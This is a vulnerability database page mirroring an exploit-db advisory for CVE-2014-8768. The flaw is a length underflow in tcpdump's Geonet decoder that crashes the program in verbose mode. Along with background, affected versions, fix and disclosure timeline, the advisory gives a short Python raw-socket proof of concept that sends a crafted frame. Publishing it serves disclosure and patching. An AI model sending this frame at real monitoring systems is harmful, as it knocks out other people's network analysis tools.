Lucene search
K

tcpdump 4.6.2 - Geonet Decoder Denial of Service

🗓️ 24 Nov 2014 00:00:00Reported by Steffen BauchType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 48 Views

tcpdump 4.6.2 Geonet Decoder Do

Related
Code
ReporterTitlePublishedViews
Family
0day.today
tcpdump 4.6.2 Geonet Decoder Denial of Service Vulnerability
24 Nov 201400:00
zdt
ArchLinux
tcpdump: multiple issues
20 Mar 201500:00
archlinux
CVE
CVE-2014-8768
20 Nov 201417:00
cve
Cvelist
CVE-2014-8768
20 Nov 201417:00
cvelist
Debian CVE
CVE-2014-8768
20 Nov 201417:00
debiancve
exploitpack
tcpdump 4.6.2 - Geonet Decoder Denial of Service
24 Nov 201400:00
exploitpack
Fedora
[SECURITY] Fedora 21 Update: tcpdump-4.6.2-3.fc21
7 Jan 201523:51
fedora
Fedora
[SECURITY] Fedora 21 Update: tcpdump-4.7.3-1.fc21
30 Mar 201507:01
fedora
Fedora
[SECURITY] Fedora 20 Update: tcpdump-4.5.1-4.fc20
18 Apr 201509:48
fedora
Fedora
[SECURITY] Fedora 20 Update: tcpdump-4.5.1-2.fc20
27 Nov 201408:33
fedora
Rows per page
CVE-2014-8768 tcpdump denial of service in verbose mode using malformed 
Geonet payload

1. Background

tcpdump is a powerful command-line packet analyzer. It allows the user 
to intercept and display TCP/IP and other packets being transmitted or 
received over a network to which the computer is attached.

2. Summary Information

It was found out that malformed network traffic (Geonet-based) can lead 
to an application crash (denial of service) if verbose output of tcpdump 
monitoring the network is used.

3. Technical Description

The application decoder for the geonet protocol fails to perform 
external input validation and performs insufficient checking on length 
computations leading to an unsafe decrement and underflow in the function

geonet_print(netdissect_options *ndo, const u_char *eth, const u_char 
*bp, u_int length)

The affected variable is length which is later on used to print a memory 
chunk which eventually leads to a segfault. The function contains 
several unsafe computations updating the length variable.

To reproduce start tcpdump on a network interface

sudo tcpdump -i lo -s 0 -n -v

(running the program with sudo might hide the segfault message on 
certain environments, see dmesg for details)

and use the following python program to generate a frame on the network 
(might also need sudo):

#!/usr/bin/env python
from socket import socket, AF_PACKET, SOCK_RAW
s = socket(AF_PACKET, SOCK_RAW)
s.bind(("lo", 0))

geonet_frame = 
"\x00\x1f\xc6\x51\x07\x07\x07\x07\x07\x07\x07\x07\x07\x07\xc6\x51\x07\x07\x07\x07\x07\x07\xef\x06\x07\x35\x97\x00\x24\x8c\x7a\xdf\x6f\x08\x00\x45\x00\x00\x3d\xf3\x7f\x40\x00\x40\x11\x30\xc6\x0a\x01\x01\x68\x0a\x01\x01\x01\x99\x80\x00\x35\x00\x29\x16\xa5\x01\x76\x01\x00\x00\xff\x00\x00\x01\x00\x00\x00"

s.send(geonet_frame)

4. Affected versions

Affected versions are 4.5.0 through 4.6.2

(segfaults were reproducible in versions up to 4.6.1 on Ubuntu 14.04, 
but not reliably in 4.6.2. Code audit showed that unsafe computations 
are performed in 4.6.2, but the trigger frame might need to look different).

5. Fix

The problem is fixed in the upcoming version tcpdump 4.7.0

6. Advisory Timeline

2014-11-08 Discovered
2014-11-09 Requested CVE
2014-11-11 Reported vendor by email
2014-11-12 Vendor made a fix available as repository patch
2014-11-13 CVE number received
2014-11-13 Published CVE advisory

7. Credit

The issue was found by

Steffen Bauch
Twitter: @steffenbauch
http://steffenbauch.de

using a slightly enhanced version of american fuzzy lop 
(https://code.google.com/p/american-fuzzy-lop/) created by Michal Zalewski.

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Nov 2014 00:00Current
7High risk
Vulners AI Score7
CVSS 25
EPSS0.33885
48